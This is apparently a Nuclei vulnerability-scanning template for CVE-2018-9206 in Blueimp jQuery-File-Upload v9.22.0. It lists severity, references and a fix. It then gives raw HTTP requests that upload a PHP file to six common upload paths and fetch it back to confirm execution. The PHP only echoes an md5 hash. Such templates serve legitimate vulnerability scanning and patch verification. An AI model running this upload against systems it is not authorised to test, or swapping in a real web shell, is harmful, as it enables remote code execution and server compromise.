Blueimp jQuery-File-Upload v9.22.0 - Unrestricted File Upload

id: CVE-2018-9206

info:
  name: Blueimp jQuery-File-Upload v9.22.0 - Unrestricted File Upload
  author: thewindghost
  severity: critical
  description: |
    Blueimp jQuery-File-Upload v9.22.0 contains an unauthenticated arbitrary file upload caused by insufficient validation in the upload component, letting remote attackers upload malicious files, exploit requires no authentication.
  impact: |
    Attackers can upload malicious files, potentially leading to remote code execution or server compromise.
  remediation: |
    Update to the latest version of Blueimp jQuery-File-Upload.
  reference:
    - https://www.exploit-db.com/exploits/45790
    - https://www.exploit-db.com/exploits/46182/
    - https://github.com/blueimp/jQuery-File-Upload/pull/3514
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/jquery_file_upload.rb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-9206
    epss-score: 0.97107
    epss-percentile: 0.99885
    cwe-id: CWE-434
  metadata:
    verified: true
  tags: cve,cve2018,jquery,file-upload,rce,intrusive,vkev

variables:
  filename: "{{rand_text_alphanumeric(8)}}"
  hash: "CVE-2018-9206"

http:
  - raw:
      - |
        POST {{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}

        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="files[]"; filename="{{filename}}.php"
        Content-Type: application/x-php

        <?php echo md5("{{hash}}"); ?>
        ------WebKitFormBoundary{{randstr}}--

      - |
        GET {{path}}/files/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}


      - |
        GET /files/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - "/jQuery-File-Upload/server/php/index.php"
        - "/jquery-file-upload/server/php/index.php"
        - "/server/php/upload.class.php"
        - "/server/php/UploadHandler.php"
        - "/example/upload.php"
        - "/php/index.php"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - "contains(body, '{{md5(hash)}}')"
          - "status_code == 200"
        condition: and
# digest: 4a0a0047304502203c27a1ab5c8218b99c6e40c0d216ff9d0415d088015550dc4b7046a0ebdf768a022100bd3bff43eadbc6c5a44128ee974b38387c91f66513630d15e98a3e92c6e65090:922c64590222798bb761d5b6d8e72950